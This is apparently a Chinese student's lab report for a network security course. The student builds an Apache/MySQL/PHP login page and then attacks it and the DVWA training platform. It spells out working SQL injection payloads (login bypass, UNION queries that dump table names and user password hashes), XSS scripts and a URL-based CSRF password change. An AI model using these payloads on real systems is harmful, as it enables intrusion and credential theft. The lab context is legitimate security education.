20232302 2025-2026-1 《网络与系统攻防技术》实验八实验报告

1.实验内容

    1.1Web前端HTML。能安装启停Apache,编写含表单的HTML网页。

    1.2Web前端javascipt。能用JS验证表单并回显欢迎信息,测试XSS注入。

    1.3Web后端数据库。能安装配置MySQL,完成建库建用户建表操作。

    1.4Web后端数据库连接。能用PHP连接数据库,实现用户登录认证功能。

    1.5基础攻击测试。能进行简单的SQL注入与XSS攻击测试。

    1.6安全攻防平台。安装DVWA或WebGoat平台,完成三项主要攻击实践。

2.实验目的

    通过搭建Web应用环境,实践前后端开发,并深入理解SQL注入、XSS等常见Web安全漏洞的原理与防护方法。

3.实验环境

    安装Kali镜像的VMware虚拟机

4.实验过程与分析

    4.1 Web前端HTML

    4.1.1 Apache Web服务器的安装与配置

     Apache HTTP Server(简称 Apache)是世界上最流行的开源 Web 服务器软件,由 Apache 软件基金会开发和维护。

    首先我们使用netstat -tupln | grep 80查看一下80端口的占用情况

6ada9d16062c4dfcd55c9c894bad9496

 如图所示没有被占用,接着我们使用systemctl start apache2以及systemctl status apache2.service来启动Apache

326513430fff8656d230cc27627093e2

我们还可以通过打开浏览器,输入localhost来查看Apache启动情况

0e689889ebd4aec12ef3a30d5e99b764

 如图所示,启动成功。

接着我们利用cd进入/var/www/html目录创建html文件,进行编写

54527e8dd9c24363981b211f73480145

4.2 Web前端JavaScript

 JavaScript 是一种轻量级的解释型脚本语言,主要用于为网页添加交互功能和动态效果。它可以直接在浏览器中运行,使网页能够响应用户操作、操作页面内容以及与服务器进行异步通信。
接下来我们在刚才的HTML上加入JavaScript对用户输入进行验证:
post表单:

78443a165e675fb4ff873afa67364047

get表单:(可明确显示提交结果)

cf3b821d1d524630d55c7620d1d5f93f

dcb4cf8a36c25cefc441515709ee91a2

 以及密码缺失和长度的检测:

cde97bb246bb0f822623d460500e8f5e

ca0d24c60424d904dde1fafa2990c3ed

 接着我们分别使用avaScript注入和HTML注入来测试
(1)JavaScript注入

在用户名处输入下面的代码:
<script type="text/javascript">alert("JavaScriptInjectionSucceed.")</script>
63d508f8d8a79722db69d8ef7f7ff01a

(2)HTML注入

 用户名处输入<h1>HTML injection succeed.</h1>

image

4.3 Web后端MySQL基础

由于kali中自带MySQl,所以这一步我们直接使用systemctl start mysql打开MySQL服务

接着用systemctl status mysql确认服务状态

7e60618f3ca0da838d80caff5dd018ad

 服务正常,这样我们就可以使用mysql进入数据库,随后进行数据库创建:

CREATE DATABASE db20232302;# 创建数据库
USE db20232302;#使用数据库
CREATE USER 'user1' IDENTIFIED BY 'user@111'; #创建用户
GRANT ALL PRIVILEGES ON db20232302 .* TO 'user1'; #授予用户所有权限
FLUSH PRIVILEGES; #刷新权限
ALTER USER 'user1' IDENTIFIED BY 'user@1110'; #修改用户密码
CREATE TABLE table2302 (

id INT AUTO_INCREMENT PRIMARY KEY,

username VARCHAR(50) NOT NULL,

password VARCHAR(100) NOT NULL

);#创建表
INSERT INTO tablefirst VALUES (1,'user1', 'user@111'),(2,'user2', 'user@222'); #插入数据
SELECT * FROM table2302;#查看表中所有内容

c460174434753d763f9e9aeeb6cecd98

4.4 Web后端编写PHP网页

 这一步我们需要在刚才的html上稍作更改,将它作为前端和我们接下来编写的php后端连在一起
一点更要确保两者在代码中的名字不要错(因为我改过好几次代码导致文件名后缀记错,引发了前后端链接不上的问题)
以下是我的php代码:

image

 我们在更改好代码之后,进入网页输入用户名和密码进行登录

我们先随意输入,查看是不是可以查出来

7923409c085fed705a4caf5cf0d2ee78

如下图可以检测出该用户名不在数据库中

2f55f96df054c4e0b63a84540be7d0a8

接着我们改好用户名,密码还是乱写

26152cfb46071e3caa7477576470a7c8

如下图还是可以检测出来密码错误

47cb5ab416f06a742acf443e9da66378

最后我们按照数据库中的信息输入正确的用户名和代码

image

  4.5 基础攻击测试

    4.5.1 SQL注入

 SQL注入,用户名随意,密码输入' OR '1'='1即可成功登录

d5fd397006339680d69609fd7123db06

beed6e19b73dc295ecb87d72e35cde9c

    4.5.2 XSS攻击

XSS攻击,在用户名输入框内注入<img src=x onerror=alert('XSS成功')>,即可得到如下界面

0a7c926ca7f8293c3ba1cf37a65a7914

6258748954cf89c37358937cc17515ee

  4.6 安装DVWA或WebGoat平台,并完成SQL注入,XSS,CSRF攻击

 DVWA(Damn Vulnerable Web Application)是一个专门为安全教学而设计的Web应用。它故意包含了多种常见的安全漏洞(如SQL注入、XSS等),方便学习者在合法环境中进行安全测试和攻防练习。
这一步我们先在虚拟机上安装dvwa,使用sudo apt install dvwa,接着使用dvwa-start启动dvwa

d68e88107910db777763a5eb1224184c

 初始账号密码分别是admin和password,直接登陆即可

2c9be7ac7bcf09f7adfd4ac90cd86d88

 进来之后,首先要把难度改了方便后面实验的进行

dad7d0ddd75e17724193468c09068c96

4.6.1 SQL注入部分

 进入dvwa的sQL Injection界面

(1)先输入1试试

b4ec11713379f4986d549424103527ed

 (2)输入1 and 1=2

be9fd385e949839a12d00669c05914c4

 (3)输入1',如下图出现了报错,由此我们可以推断是字符型注入

9d5d667bd45fc8fa65549af633588d36

 (4)根据上面的测试,我们这里输入1' order by n #(n递增直到报错),以此来判断表中的字段个数

15dcbc173ee836878436adf4c91b2381

13f5d0fb87d954e85c4425ea05dee360

6486bccf252a7aa993fa02807e2cd159

结果在n=3时出现了报错,也就是说表中只有2个字段

(5)为进一步测试表字段数、验证注入点有效性,我们再输入' union select 1,2 #

9eb8c7cb2fae43b6551d817b69f10ad2

 接着输入' union select database(),version() #和' union select database(),user() #,

 来获取获取当前使用的数据库名以及版本和当前用户

56d46db3d57468dbd973783d98855257

0a0527ce839976e32d24eebe00b8807b

 (6)我们继续输入-1' union select database(),group_concat(table_name) from information_schema.tables where table_schema='dvwa' #来查询数据库中所有表的名称

5036545e434aaa7542a748af1579f45b

 输入-1' union select database(),group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users' #来在users表中获取所有的字段名

d6db84019928027e7c6ada5388bae35e

 最后输入-1' union select group_concat(user_id,first_name),group_concat(user,password) from users #来查询出各用户的用户名和密码

6685de19840592a214d0e3d8c8a16c54

 根据图中的密码形式,我们到cmd5网站进行反解它,最终我们可以得到admin的密码

9236bd4c4495b4405e244d230160957d

4.6.2XSS

这一步中我们需要切换到XSS(DOM) 界面,我们可以看到上面的URL处会有defaul参数

63df109a54cc69a7e0d7c60c973e7487

 我们发现default参数后的语言参数会随着我们的选择而变化,所以我们尝试把后面的语言参数改了,改为我们先前用过的脚本<script>alert('XSS')</script>

58cb734a47c014ef6e9edd2c43b2e9d7

 接着我们将界面切换为XSS reflected,按照界面提示输入name

f25b42393579710ea2dffa74173f732c

 如图所示,可以看到上面的URL也会跟着改变;

同样的,我们按照刚才的更改方式再更改一下参数

5586815e944e0650107d6b2a210901fe

 最后我们再尝试切换到XSS stored界面

 依旧按照提示输入信息

7412bf17d576e0abc019d157859a919f

 我们再次更改参数加入我们的脚本

109cebd15536654ff768f20ea303efd3

4.6.3 CSRF部分

经过刚才的尝试我们这里直接通过修改URL诱导我们修改密码

我们试着输入新密码然后提交,如下图我们成功了

2c1212e88752f44b17169a9b5070c033

 接着我们修改URL中的参数,重新打开一个页面访问网址,如下图我们会发现密码已经被更改了

4a134a93fb41e2bc26c9d5c19d38a79d

 我们使用原来的密码再试试,可以发现密码错误

08290c11e7c3172fe18286e561b7f12a

 最后我们使用最后更改的密码gjy666,发现可以成功

2b49487f89e8033fcb1d5686044ea76b

5.问题及解决方案

问题1:在编写php后端文件时,html中的代码有问题,文件名不对应,因为我为了分辨在文件名后面加了角标,最后导致前端后端根本不联通。

解决:把文件名对应好了就没什么问题了。

问题2:dvwa安装有问题,我直接用代码在终端安装后发现它在submit时一直没有反应

解决:最后从csdn上找了dvwa的配置教程图中的部分需要把off改为On,最后就能用了

bf5ed54884e154f8ba7c14295073c0eb

6.学习感悟、思考等

这次Web安全实验让我获得了前所未有的沉浸式体验,从零开始搭建靶场环境,到亲手构造攻击代码,完整地走通了从应用开发到渗透攻击的全流程。在实践过程中,我有了一个深刻的发现:前端验证如果仅仅停留在视觉层面而缺乏严格的逻辑校验,就等于为XSS跨站脚本攻击敞开了大门;而后端代码中看似简单的SQL字符串拼接,实际上正是导致致命注入漏洞的根源;至于CSRF攻击,则巧妙地利用了浏览器对用户身份的盲目信任,在一个看似合法的请求中挟持了用户操作。 从安装配置数据库、解决各种环境依赖,到应对部署过程中层出不穷的突发状况,每一个环节都考验着我的问题解决能力。这次经历让我深刻体会到,绝大多数Web安全漏洞的本质,都可以归结为开发过程中对用户输入数据的盲目信任。这让我意识到,安全绝不是事后补救的附加功能,而应该是从代码编写的第一行就开始贯彻的思维习惯。

这也是最后一次的实验了,总的来说这门课程的专业性和实用性我认为都是目前已来我学过的课程中最高的,感觉自己真的学会了好多不限于课本的有用的并且是好用的知识和技能。

最后感谢强哥的悉心指导!

posted @ 2025-12-03 16:33  葛军阳  阅读(2)  评论(0)    收藏  举报